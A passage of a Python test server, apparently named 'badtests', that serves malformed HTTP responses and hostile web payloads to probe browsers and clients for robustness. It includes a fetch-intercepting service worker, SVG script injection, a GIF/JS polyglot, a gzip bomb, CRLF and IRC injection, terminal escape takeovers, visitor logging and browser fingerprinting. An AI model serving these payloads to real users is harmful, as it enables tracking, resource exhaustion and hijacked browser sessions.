document.title='TAB BOMB #'+Math.floor(Math.random()*99999);
|
|
</script></body></html>'''
|
|
|
|
JS_SERVICEWORKER = '''<!DOCTYPE html><html><head><title>ServiceWorker hijack</title></head><body>
|
|
<h1>ServiceWorker Registration</h1><p id="s">Attempting to register ServiceWorker...</p>
|
|
<script>
|
|
if('serviceWorker' in navigator){
|
|
navigator.serviceWorker.register('/sw.js').then(r=>{
|
|
document.getElementById('s').innerHTML='<span style=color:red>ServiceWorker registered! Scope: '+r.scope+'</span><br>All future fetches to this origin will be intercepted.';
|
|
}).catch(e=>{document.getElementById('s').textContent='Failed: '+e.message;});
|
|
}else{document.getElementById('s').textContent='ServiceWorker not supported';}
|
|
</script></body></html>'''.encode()
|
|
|
|
SW_JS = b'''// Malicious ServiceWorker - intercepts all fetches
|
|
self.addEventListener('install', e => self.skipWaiting());
|
|
self.addEventListener('activate', e => e.waitUntil(clients.claim()));
|
|
self.addEventListener('fetch', e => {
|
|
if(e.request.url.includes('/sw.js')) return;
|
|
e.respondWith(
|
|
fetch(e.request).then(r => {
|
|
if(r.headers.get('content-type')?.includes('text/html')){
|
|
return r.text().then(body =>
|
|
new Response(body + '<div style="position:fixed;bottom:0;left:0;right:0;background:red;color:white;padding:8px;text-align:center;z-index:999999;font-family:monospace">INTERCEPTED BY MALICIOUS SERVICEWORKER</div>', {headers:r.headers})
|
|
);
|
|
}
|
|
return r;
|
|
}).catch(() => new Response('ServiceWorker intercepted and blocked this request', {status:200}))
|
|
);
|
|
});'''
|
|
|
|
FINGERPRINT_HTML = b'''<!DOCTYPE html><html><head><meta charset="utf-8">
|
|
<title>Browser Fingerprint</title>
|
|
<style>
|
|
*{margin:0;padding:0;box-sizing:border-box}
|
|
body{background:#0d1117;color:#c9d1d9;font-family:monospace;padding:20px 40px;font-size:14px}
|
|
h1{color:#f85149;margin-bottom:20px}
|
|
table{border-collapse:collapse;width:100%}
|
|
td{padding:6px 12px;border-bottom:1px solid #21262d}
|
|
td:first-child{color:#58a6ff;width:250px;font-weight:bold}
|
|
td:last-child{color:#7ee787;word-break:break-all}
|
|
canvas{display:none}
|
|
</style></head><body>
|
|
<h1>Browser Fingerprint</h1>
|
|
<table id="t"></table>
|
|
<canvas id="cv" width="200" height="50"></canvas>
|
|
<script>
|
|
let t=document.getElementById('t');
|
|
function add(k,v){let r=t.insertRow();r.insertCell().textContent=k;r.insertCell().textContent=String(v);}
|
|
add('User Agent',navigator.userAgent);
|
|
add('Platform',navigator.platform);
|
|
add('Language',navigator.language);
|
|
add('Languages',navigator.languages?.join(', '));
|
|
add('Timezone',Intl.DateTimeFormat().resolvedOptions().timeZone);
|
|
add('Timezone Offset',new Date().getTimezoneOffset()+' min');
|
|
add('Screen',screen.width+'x'+screen.height+' @'+devicePixelRatio+'x');
|
|
add('Available Screen',screen.availWidth+'x'+screen.availHeight);
|
|
add('Color Depth',screen.colorDepth+' bit');
|
|
add('CPU Cores',navigator.hardwareConcurrency);
|
|
add('Memory (GB)',navigator.deviceMemory||'N/A');
|
|
add('Max Touch Points',navigator.maxTouchPoints);
|
|
add('Cookies Enabled',navigator.cookieEnabled);
|
|
add('Do Not Track',navigator.doNotTrack);
|
|
add('Online',navigator.onLine);
|
|
add('PDF Viewer',navigator.pdfViewerEnabled);
|
|
add('Webdriver',navigator.webdriver);
|
|
add('Connection Type',navigator.connection?.effectiveType||'N/A');
|
|
add('Downlink',navigator.connection?.downlink||'N/A');
|
|
try{let cv=document.getElementById('cv'),cx=cv.getContext('2d');
|
|
cx.textBaseline='top';cx.font='14px Arial';cx.fillStyle='#f60';cx.fillRect(0,0,200,50);
|
|
cx.fillStyle='#069';cx.fillText('Browser fingerprint!',2,15);
|
|
cx.fillStyle='rgba(102,204,0,0.7)';cx.fillText('Canvas test',4,30);
|
|
add('Canvas Hash',cv.toDataURL().slice(0,80)+'...');}catch(e){add('Canvas','Error: '+e);}
|
|
try{let c=document.createElement('canvas'),g=c.getContext('webgl')||c.getContext('experimental-webgl');
|
|
if(g){add('WebGL Vendor',g.getParameter(g.VENDOR));
|
|
add('WebGL Renderer',g.getParameter(g.RENDERER));
|
|
let d=g.getExtension('WEBGL_debug_renderer_info');
|
|
if(d){add('GPU Vendor',g.getParameter(d.UNMASKED_VENDOR_WEBGL));
|
|
add('GPU Renderer',g.getParameter(d.UNMASKED_RENDERER_WEBGL));}
|
|
add('WebGL Version',g.getParameter(g.VERSION));
|
|
add('Shading Language',g.getParameter(g.SHADING_LANGUAGE_VERSION));
|
|
add('Max Texture Size',g.getParameter(g.MAX_TEXTURE_SIZE));
|
|
}}catch(e){add('WebGL','Error: '+e);}
|
|
try{let actx=new(window.AudioContext||window.webkitAudioContext)();
|
|
add('Audio Sample Rate',actx.sampleRate);
|
|
add('Audio State',actx.state);actx.close();}catch(e){add('Audio','Error: '+e);}
|
|
add('Local Storage',typeof localStorage!=='undefined');
|
|
add('Session Storage',typeof sessionStorage!=='undefined');
|
|
add('IndexedDB',typeof indexedDB!=='undefined');
|
|
add('ServiceWorker','serviceWorker' in navigator);
|
|
add('WebRTC',typeof RTCPeerConnection!=='undefined');
|
|
let plugins=[];for(let i=0;i<navigator.plugins.length;i++)plugins.push(navigator.plugins[i].name);
|
|
add('Plugins',plugins.join(', ')||'None');
|
|
add('MIME Types',navigator.mimeTypes.length);
|
|
</script></body></html>'''
|
|
|
|
LOGS_STYLE = '''<!DOCTYPE html><html><head><meta charset="utf-8">
|
|
<title>☠ badtests — visitor logs</title>
|
|
<style>
|
|
*{{margin:0;padding:0;box-sizing:border-box}}
|
|
body{{background:#0d1117;color:#c9d1d9;font-family:monospace;font-size:13px;padding:20px 40px}}
|
|
h1{{color:#f85149;margin-bottom:4px}}
|
|
.sub{{color:#484f58;margin-bottom:20px;font-size:12px}}
|
|
table{{border-collapse:collapse;width:100%}}
|
|
th{{text-align:left;color:#58a6ff;padding:8px;border-bottom:2px solid #30363d;position:sticky;top:0;background:#0d1117}}
|
|
td{{padding:6px 8px;border-bottom:1px solid #161b22;max-width:400px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}}
|
|
tr:hover td{{background:#161b22}}
|
|
.ip{{color:#7ee787}}.path{{color:#d2a8ff}}.method{{color:#d29922}}.time{{color:#484f58}}
|
|
details{{cursor:pointer}}
|
|
details pre{{background:#161b22;padding:8px;margin-top:4px;border-radius:4px;white-space:pre-wrap;max-height:200px;overflow:auto}}
|
|
</style></head><body>
|
|
<h1>☠ visitor logs</h1>
|
|
<p class="sub">Recording all requests. {count} entries so far. <a href="/logs" style="color:#58a6ff">Refresh</a> | <a href="/" style="color:#58a6ff">Home</a></p>
|
|
<table><tr><th>Time</th><th>IP</th><th>Method</th><th>Path</th><th>User-Agent</th><th>Headers</th></tr>
|
|
{rows}
|
|
</table></body></html>'''
|
|
|
|
# --- MIME sniff test page (wraps the payload endpoint) ---
|
|
MIME_SNIFF_PAGE = b'''<!DOCTYPE html><html><head><title>MIME Sniff Test</title></head><body>
|
|
<h1>MIME Sniffing Test</h1>
|
|
<p>This page includes a <script> tag pointing to <code>/net-mime-sniff?payload=1</code>,
|
|
which serves JavaScript with <code>Content-Type: image/jpeg</code>.</p>
|
|
<p>If your browser MIME-sniffs, the JS will execute and you'll see an alert.</p>
|
|
<p id="result" style="font-size:24px;color:red"></p>
|
|
<script src="/net-mime-sniff?payload=1"></script>
|
|
</body></html>'''
|
|
|
|
|
|
class Handler(http.server.BaseHTTPRequestHandler):
|
|
_index = build_index()
|
|
_routes = {t[0]: t for t in TESTS}
|
|
|
|
def _get_client_ip(self):
|
|
'''Get real client IP from reverse proxy headers, fallback to socket address.'''
|
|
return (self.headers.get('X-Real-IP')
|
|
or (self.headers.get('X-Forwarded-For', '').split(',')[0].strip())
|
|
or self.client_address[0])
|
|
|
|
def do_GET(self):
|
|
p = self.path.split('?')[0]
|
|
self._log_visit()
|
|
if p == '/':
|
|
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, self._index)
|
|
elif p == '/logs':
|
|
self._serve_logs()
|
|
elif p == '/sw.js':
|
|
self._r(200, {'Content-Type': 'application/javascript', 'Service-Worker-Allowed': '/'}, SW_JS)
|
|
elif p == '/img-bait-view':
|
|
self._r(200, {'Content-Type': 'image/svg+xml'}, SAFE_SVG)
|
|
elif p == '/img-bait-download':
|
|
self._r(200, {'Content-Type': 'image/svg+xml', 'Content-Disposition': 'attachment; filename="totally_safe.svg"'}, EVIL_SVG)
|
|
elif p in self._routes:
|
|
self._dispatch(p)
|
|
else:
|
|
self._r(404, {'Content-Type': 'text/plain'}, b'not found')
|
|
|
|
do_POST = do_HEAD = do_PUT = do_DELETE = do_GET
|
|
|
|
def _log_visit(self):
|
|
headers = {}
|
|
for k in self.headers:
|
|
headers[k] = self.headers[k]
|
|
entry = {
|
|
'time': time.strftime('%Y-%m-%d %H:%M:%S'),
|
|
'ip': self._get_client_ip(),
|
|
'method': self.command,
|
|
'path': self.path,
|
|
'ua': self.headers.get('User-Agent', ''),
|
|
'headers': headers,
|
|
}
|
|
with LOG_LOCK:
|
|
VISITOR_LOG.append(entry)
|
|
|
|
def _serve_logs(self):
|
|
with LOG_LOCK:
|
|
entries = list(reversed(VISITOR_LOG))
|
|
rows = ''
|
|
for e in entries[:500]:
|
|
hdrs_str = '\n'.join(f'{k}: {v}' for k, v in e['headers'].items())
|
|
rows += f'''<tr>
|
|
<td class="time">{html.escape(e['time'])}</td>
|
|
<td class="ip">{html.escape(e['ip'])}</td>
|
|
<td class="method">{html.escape(e['method'])}</td>
|
|
<td class="path">{html.escape(e['path'])}</td>
|
|
<td>{html.escape(e['ua'][:80])}</td>
|
|
<td><details><summary>{len(e['headers'])} headers</summary><pre>{html.escape(hdrs_str)}</pre></details></td>
|
|
</tr>'''
|
|
page = LOGS_STYLE.format(count=len(VISITOR_LOG), rows=rows).encode()
|
|
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, page)
|
|
|
|
def _dispatch(self, path):
|
|
try:
|
|
self._dispatch_inner(path)
|
|
except Exception as e:
|
|
try:
|
|
self.wfile.write(b'HTTP/1.1 500 Internal Server Error\r\nContent-Length: 3\r\n\r\nerr')
|
|
self.wfile.flush()
|
|
except:
|
|
pass
|
|
|
|
def _dispatch_inner(self, path):
|
|
p = path
|
|
# --- Content-Length abuses ---
|
|
if p == '/cl-word': self._r(200, {'Content-Length': 'banana'}, b'hello')
|
|
elif p == '/cl-empty': self._r(200, {'Content-Length': ''}, b'hello')
|
|
elif p == '/cl-negative': self._r(200, {'Content-Length': '-99999999999999999'}, b'hello')
|
|
elif p == '/cl-huge': self._r(200, {'Content-Length': '99999999999999999'}, b'tiny')
|
|
elif p == '/cl-zero': self._r(200, {'Content-Length': '0'}, b'surprise!')
|
|
elif p == '/cl-float': self._r(200, {'Content-Length': '3.14159'}, b'hello')
|
|
elif p == '/cl-hex': self._r(200, {'Content-Length': '0xDEAD'}, b'hello')
|
|
elif p == '/cl-null': self._r(200, {'Content-Length': '5\x00'}, b'hello')
|
|
elif p == '/cl-negative-one': self._r(200, {'Content-Length': '-1'}, b'hello')
|
|
elif p == '/cl-nan': self._r(200, {'Content-Length': 'NaN'}, b'hello')
|
|
elif p == '/cl-inf': self._r(200, {'Content-Length': 'Infinity'}, b'hello')
|
|
elif p == '/cl-mismatch': self._r(200, {'Content-Length': '1'}, b'this is way more than one byte')
|
|
# --- Content-Type abuses ---
|
|
elif p == '/ct-garbage': self._r(200, {'Content-Type': ''.join(random.choices(string.printable, k=200))}, b'hello')
|
|
elif p == '/ct-multi': self._r(200, {'Content-Type': 'text/html, application/json, image/png, text/xml, application/octet-stream'}, b'what am i?')
|
|
elif p == '/ct-empty': self._r(200, {'Content-Type': ''}, b'hello')
|
|
elif p == '/ct-null': self._r(200, {'Content-Type': 'text/\x00html'}, b'hello')
|
|
elif p == '/ct-emoji': self._raw('HTTP/1.1 200 OK\r\nContent-Type: 💀/🔥\r\nContent-Length: 5\r\n\r\nhello'.encode())
|
|
elif p == '/ct-mega': self._r(200, {'Content-Type': 'text/' + 'A'*10000}, b'hello')
|
|
elif p == '/ct-crlf': self._r(200, {'Content-Type': 'text/html\r\nX-Injected: true'}, b'hello')
|
|
elif p == '/ct-semicolon':self._r(200, {'Content-Type': 'text/html' + ';charset=utf-8'*50}, b'hello')
|
|
# --- Status code abuses ---
|
|
elif p == '/status-neg': self._raw(b'HTTP/1.1 -1 BROKEN\r\nContent-Length: 5\r\n\r\nhello')
|
|
elif p == '/status-zero': self._raw(b'HTTP/1.1 0 NOTHING\r\nContent-Length: 5\r\n\r\nhello')
|
|
elif p == '/status-999': self._r(999, {}, b'hello')
|
|
elif p == '/status-huge': self._raw(b'HTTP/1.1 99999 WAY TOO BIG\r\nContent-Length: 5\r\n\r\nhello')
|
|
elif p == '/status-word': self._raw(b'HTTP/1.1 BANANA OK\r\nContent-Length: 5\r\n\r\nhello')
|
|
# --- Header abuses ---
|
|
elif p == '/hdr-mega-name': self._r(200, {'X-'+'A'*65536: 'val'}, b'hello')
|
|
elif p == '/hdr-mega-val': self._r(200, {'X-Big': 'B'*1048576}, b'hello')
|
|
elif p == '/hdr-1000': self._r(200, {f'X-H{i}': str(i) for i in range(1000)}, b'hello')
|
|
elif p == '/hdr-empty-name': self._raw(b'HTTP/1.1 200 OK\r\n: empty_name\r\nContent-Length: 5\r\n\r\nhello')
|
|
elif p == '/hdr-no-colon': self._raw(b'HTTP/1.1 200 OK\r\nBrokenHeaderNoColon\r\nContent-Length: 5\r\n\r\nhello')
|
|
elif p == '/hdr-dup-cl': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\nContent-Length: 999\r\n\r\nhello')
|
|
elif p == '/hdr-null': self._raw(b'HTTP/1.1 200 OK\r\nX-\x00Evil: \x00val\x00ue\r\nContent-Length: 5\r\n\r\nhello')
|
|
elif p == '/hdr-newline': self._raw(b'HTTP/1.1 200 OK\r\nX-Bad: line1\nline2\r\nContent-Length: 5\r\n\r\nhello')
|
|
# --- Body abuses ---
|
|
elif p == '/body-endless': self._endless()
|
|
elif p == '/body-none': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n')
|
|
elif p == '/body-binary': self._r(200, {'Content-Type': 'text/html'}, bytes(random.getrandbits(8) for _ in range(4096)))
|
|
# --- Transfer-Encoding abuses ---
|
|
elif p == '/te-invalid': self._r(200, {'Transfer-Encoding': 'banana'}, b'hello')
|
|
elif p == '/te-double': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\nTransfer-Encoding: chunked\r\n\r\n5\r\nhello\r\n0\r\n\r\n')
|
|
elif p == '/te-bad-chunk': self._raw(b'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\nZZZ\r\nhello\r\n0\r\n\r\n')
|
|
# --- Protocol abuses ---
|
|
elif p == '/proto-garbage': self._raw(bytes(random.getrandbits(8) for _ in range(512)))
|
|
elif p == '/proto-empty': self._raw(b'')
|
|
elif p == '/proto-half': self._raw(b'HTTP/9.9 200 OK\r\nContent-Length: 5\r\n\r\nhello')
|
|
elif p == '/proto-no-headers': self._raw(b'HTTP/1.1 200 OK\r\n\r\nhello')
|
|
elif p == '/proto-just-newlines': self._raw(b'\r\n\r\n\r\n\r\n\r\n')
|
|
# --- Encoding abuses ---
|
|
elif p == '/enc-utf16': self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, 'こんにちは'.encode('utf-16'))
|
|
elif p == '/enc-gzip-lie': self._r(200, {'Content-Encoding': 'gzip'}, b'this is definitely not gzipped')
|
|
# --- Redirect abuses ---
|
|
elif p == '/redir-self': self._r(301, {'Location': '/redir-self'}, b'')
|
|
elif p == '/redir-garbage': self._raw(b'HTTP/1.1 301 Moved\r\nLocation: \x00\xff://\xf0\x9f\x92\x80:99999/../../etc/passwd\r\nContent-Length: 0\r\n\r\n')
|
|
elif p == '/redir-chain':
|
|
n = 0
|
|
if '?' in self.path:
|
|
try: n = int(self.path.split('n=')[1].split('&')[0])
|
|
except: pass
|
|
self._r(302, {'Location': f'/redir-chain?n={n+1}'}, f'Hop {n}'.encode())
|
|
# --- Timing abuses ---
|
|
elif p == '/slow-headers': self._slow(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello', 0.5)
|
|
elif p == '/slow-body': self._slow_body()
|
|
# --- HTML/Content abuses ---
|
|
elif p == '/html-utf16':
|
|
page = '<html><head><title>UTF-16LE Encoded Page</title></head><body><h1>This entire page is UTF-16LE</h1><p>But the server never declared a charset. Good luck decoding!</p></body></html>'
|
|
self._r(200, {'Content-Type': 'text/html'}, page.encode('utf-16-le'))
|
|
elif p == '/html-long-title':
|
|
t = 'A' * 1000
|
|
self._r(200, {'Content-Type': 'text/html'}, f'<html><head><title>{t}</title></head><body><h1>{t}</h1></body></html>'.encode())
|
|
elif p == '/html-multiline-title':
|
|
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Line 1\nLine 2\nLine 3\nLine 4\nLine 5</title></head><body><h1>Check your tab title</h1></body></html>')
|
|
elif p == '/html-irc-title':
|
|
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Normal Title\r\nQUIT :Hacked by badtests\r\nPRIVMSG #channel :pwned</title></head><body><h1>IRC Injection via HTML title</h1></body></html>')
|
|
elif p == '/html-unicode':
|
|
chars = ''.join(chr(random.randint(0x1000, 0x3000)) for _ in range(500))
|
|
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, f'<html><head><title>{chars}</title></head><body><h1>{chars}</h1></body></html>'.encode())
|
|
elif p == '/html-meta-refresh':
|
|
self._r(200, {'Content-Type': 'text/html'}, b'<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0"><title>RELOADING FOREVER</title></head><body><h1>This page reloads every 0 seconds</h1><p>Your browser tab is now stuck in an infinite reload loop.</p></body></html>')
|
|
# --- Terminal abuses ---
|
|
elif p == '/ansi-chaos':
|
|
a = '\033[2J\033[H'
|
|
a += '\033]0;HACKED BY BADTESTS\007'
|
|
a += '\033[?25l'
|
|
for i in range(80):
|
|
row = random.randint(1, 50)
|
|
col = random.randint(1, 120)
|
|
fg = random.randint(31, 37)
|
|
style = random.choice(['1', '3', '4', '5', '7'])
|
|
char = random.choice('☠💀🔥👾🐛⚡🎭🃏♠♣♥♦█▓▒░╔╗╚╝║═')
|
|
a += f'\033[{row};{col}H\033[{style};{fg}m{char}\033[0m'
|
|
a += '\033[10;20H\033[1;5;31m░▒▓█ YOUR TERMINAL IS MINE NOW █▓▒░\033[0m'
|
|
a += '\033[12;20H\033[1;5;35m░▒▓█ RESISTANCE IS FUTILE █▓▒░\033[0m'
|
|
a += '\033[14;20H\033[1;5;32m░▒▓█ CURLING WAS A MISTAKE █▓▒░\033[0m'
|
|
a += '\033[16;20H\033[1;33m'
|
|
for i in range(10):
|
|
a += f'\033[{16+i};10H'
|
|
a += ''.join(f'\033[{random.randint(31,37)}m{chr(random.randint(0x2580,0x259F))}' for _ in range(60))
|
|
a += '\033[0m'
|
|
a += '\033[28;1H\033[?5h' # reverse video (flash screen)
|
|
a += '\033[28;1H\033[?5l' # normal video
|
|
a += f'\033[?25h\033[50;1H'
|
|
self._r(200, {'Content-Type': 'text/plain'}, a.encode())
|
|
# --- JavaScript browser abuses ---
|
|
elif p == '/js-alert': self._r(200, {'Content-Type': 'text/html'}, JS_ALERT)
|
|
elif p == '/js-history': self._r(200, {'Content-Type': 'text/html'}, JS_HISTORY)
|
|
elif p == '/js-download': self._r(200, {'Content-Type': 'text/html'}, JS_DOWNLOAD)
|
|
elif p == '/js-clipboard': self._r(200, {'Content-Type': 'text/html'}, JS_CLIPBOARD)
|
|
elif p == '/js-forkbomb': self._r(200, {'Content-Type': 'text/html'}, JS_FORKBOMB)
|
|
elif p == '/js-webgl': self._r(200, {'Content-Type': 'text/html'}, JS_WEBGL)
|
|
elif p == '/js-audio': self._r(200, {'Content-Type': 'text/html'}, JS_AUDIO)
|
|
elif p == '/js-popup': self._r(200, {'Content-Type': 'text/html'}, JS_POPUP)
|
|
elif p == '/js-cookie': self._r(200, {'Content-Type': 'text/html'}, JS_COOKIE)
|
|
elif p == '/js-beforeunload': self._r(200, {'Content-Type': 'text/html'}, JS_BEFOREUNLOAD)
|
|
elif p == '/js-tabbomb': self._r(200, {'Content-Type': 'text/html'}, JS_TABBOMB)
|
|
elif p == '/js-serviceworker':self._r(200, {'Content-Type': 'text/html'}, JS_SERVICEWORKER)
|
|
# --- Image/File abuses ---
|
|
elif p == '/img-bait':
|
|
self._r(200, {'Content-Type': 'text/html'}, b'''<!DOCTYPE html><html><head><title>Image bait-and-switch</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px">
|
|
<h1>Image Bait-and-Switch</h1>
|
|
<p>The image below shows "SAFE" in green. But the download link gives you a DIFFERENT image.</p>
|
|
<br><img src="/img-bait-view" style="border:2px solid #30363d;border-radius:8px">
|
|
<br><br><a href="/img-bait-download" download="totally_safe.svg" style="color:#58a6ff;font-size:18px">Download this image</a>
|
|
<p style="color:#484f58;margin-top:20px">Hint: the downloaded file says something different...</p>
|
|
</body></html>''')
|
|
elif p == '/img-svg-xss':
|
|
svg = b'''<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
|
|
<rect width="400" height="200" fill="#1a1a2e" rx="8"/>
|
|
<text x="200" y="80" fill="#e6edf3" font-size="20" font-family="monospace" text-anchor="middle">I look like an innocent image...</text>
|
|
<text x="200" y="130" fill="#f85149" font-size="16" font-family="monospace" text-anchor="middle">but I contain JavaScript</text>
|
|
<script type="text/javascript">
|
|
alert('XSS executed from SVG image!');
|
|
document.querySelector('text:last-of-type').textContent = 'JS EXECUTED SUCCESSFULLY';
|
|
</script>
|
|
</svg>'''
|
|
self._r(200, {'Content-Type': 'image/svg+xml'}, svg)
|
|
elif p == '/img-polyglot':
|
|
# GIF89a header that's also parseable as JS when loaded via <script>
|
|
# GIF89a= is valid JS (assigns undefined to GIF89a), then we add our payload
|
|
polyglot = b'GIF89a/*\x00\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;*/=0;document.write("<h1 style=color:red>GIF/JS POLYGLOT EXECUTED</h1><p>This file is simultaneously a valid GIF image and valid JavaScript.</p>");'
|
|
self._r(200, {'Content-Type': 'image/gif'}, polyglot)
|
|
# --- Network abuses ---
|
|
elif p == '/net-gzip-bomb':
|
|
self._r(200, {'Content-Type': 'application/octet-stream', 'Content-Encoding': 'gzip', 'Content-Length': str(len(GZIP_BOMB))}, GZIP_BOMB)
|
|
elif p == '/net-event-flood':
|
|
self._event_flood()
|
|
elif p == '/net-mime-sniff':
|
|
if '?payload=1' in self.path:
|
|
self._r(200, {'Content-Type': 'image/jpeg'}, b'document.getElementById("result").textContent="MIME SNIFFING BYPASSED! JS executed despite image/jpeg Content-Type";alert("MIME sniffing attack succeeded! JS ran despite Content-Type: image/jpeg")')
|
|
else:
|
|
self._r(200, {'Content-Type': 'text/html'}, MIME_SNIFF_PAGE)
|
|
elif p == '/net-cache-poison':
|
|
self._r(200, {
|
|
'Content-Type': 'text/html',
|
|
'Cache-Control': 'no-cache, max-age=999999, must-revalidate, public, private, no-store, immutable',
|
|
'Expires': 'Thu, 01 Jan 1970 00:00:00 GMT',
|
|
'Pragma': 'no-cache',
|
|
'Last-Modified': 'Sun, 01 Jan 2090 00:00:00 GMT',
|
|
'ETag': '"*"',
|
|
'Vary': '*',
|
|
'Age': '999999999',
|
|
}, b'<html><body><h1>Which cache directive wins?</h1><p>Every cache header contradicts every other. Good luck, proxy.</p><p>no-cache + max-age=999999 + must-revalidate + public + private + no-store + immutable</p><p>Expires in the past, Last-Modified in the future, Age is 31 years, Vary is wildcard, ETag is *</p></body></html>')
|
|
elif p == '/net-hsts-bomb':
|
|
self._r(200, {
|
|
'Content-Type': 'text/html',
|
|
'Strict-Transport-Security': 'max-age=999999999; includeSubDomains; preload',
|
|
}, b'<html><body><h1>HSTS Bomb</h1><p>Your browser now thinks this site requires HTTPS for 31 years.</p><p>This header also applies to ALL subdomains and requests preload list inclusion.</p><p>To undo in Chrome: chrome://net-internals/#hsts</p></body></html>')
|
|
# --- Misc ---
|
|
elif p == '/misc-ipv4':
|
|
ip = self._get_client_ip()
|
|
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1></body></html>'
|
|
self._r(200, {'Content-Type': 'text/html'}, body.encode())
|
|
elif p == '/misc-ipv6':
|
|
ip = self._get_client_ip()
|
|
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1><p>For true IPv6, connect to [::1]:{PORT}</p></body></html>'
|
|
self._r(200, {'Content-Type': 'text/html'}, body.encode())
|
|
elif p == '/fingerprint':
|
|
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, FINGERPRINT_HTML)
|
|
|
|
def _r(self, code, headers, body):
|
|
self.send_response(code)
|
|
for k, v in headers.items():
|
|
self.send_header(k, v)
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
|
|
def _raw(self, data):
|
|
self.wfile.write(data)
|
|
self.wfile.flush()
|
|
|
|
def _endless(self):
|
|
self.send_response(200)
|
|
self.send_header('Content-Type', 'application/octet-stream')
|
|
self.end_headers()
|
|
try:
|
|
while True:
|
|
self.wfile.write(b'A' * 1024)
|
|
self.wfile.flush()
|
|
time.sleep(1)
|
|
except:
|
|
pass
|
|
|
|
def _slow(self, data, delay):
|
|
try:
|
|
for b in data:
|
|
self.wfile.write(bytes([b]))
|
|
self.wfile.flush()
|
|
time.sleep(delay)
|
|
except:
|
|
pass
|
|
|
|
def _slow_body(self):
|
|
self.send_response(200)
|
|
self.send_header('Content-Length', '26')
|
|
self.send_header('Content-Type', 'text/plain')
|
|
self.end_headers()
|
|
try:
|
|
for c in b'abcdefghijklmnopqrstuvwxyz':
|
|
self.wfile.write(bytes([c]))
|
|
self.wfile.flush()
|
|
time.sleep(1)
|
|
except:
|
|
pass
|
|
|
|
def _event_flood(self):
|
|
self.send_response(200)
|
|
self.send_header('Content-Type', 'text/event-stream')
|
|
self.send_header('Cache-Control', 'no-cache')
|
|
self.send_header('Connection', 'keep-alive')
|
|
self.end_headers()
|
|
try:
|
|
i = 0
|
|
while True:
|
|
self.wfile.write(f'id: {i}\nevent: flood\ndata: {{"seq":{i},"time":{time.time()},"garbage":"{"X"*1000}"}}\n\n'.encode())
|
|
self.wfile.flush()
|
|
i += 1
|
|
except:
|
|
pass
|
|
|
|
def log_message(self, fmt, *a):
|
|
print(f'\033[90m{self.address_string()}\033[0m {fmt % a}')
|
|
|
|
|
|
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
|
allow_reuse_address = True
|
|
daemon_threads = True
|
|
|
|
with ThreadedServer(('', PORT), Handler) as s:
|
|
print(f'\033[1;31m☠ badtests running on http://0.0.0.0:{PORT}\033[0m')
|
|
print(f'\033[90mOpen http://localhost:{PORT}/ in your browser\033[0m')
|
|
print(f'\033[90m{len(TESTS)} test endpoints + /logs\033[0m')
|
|
s.serve_forever()
|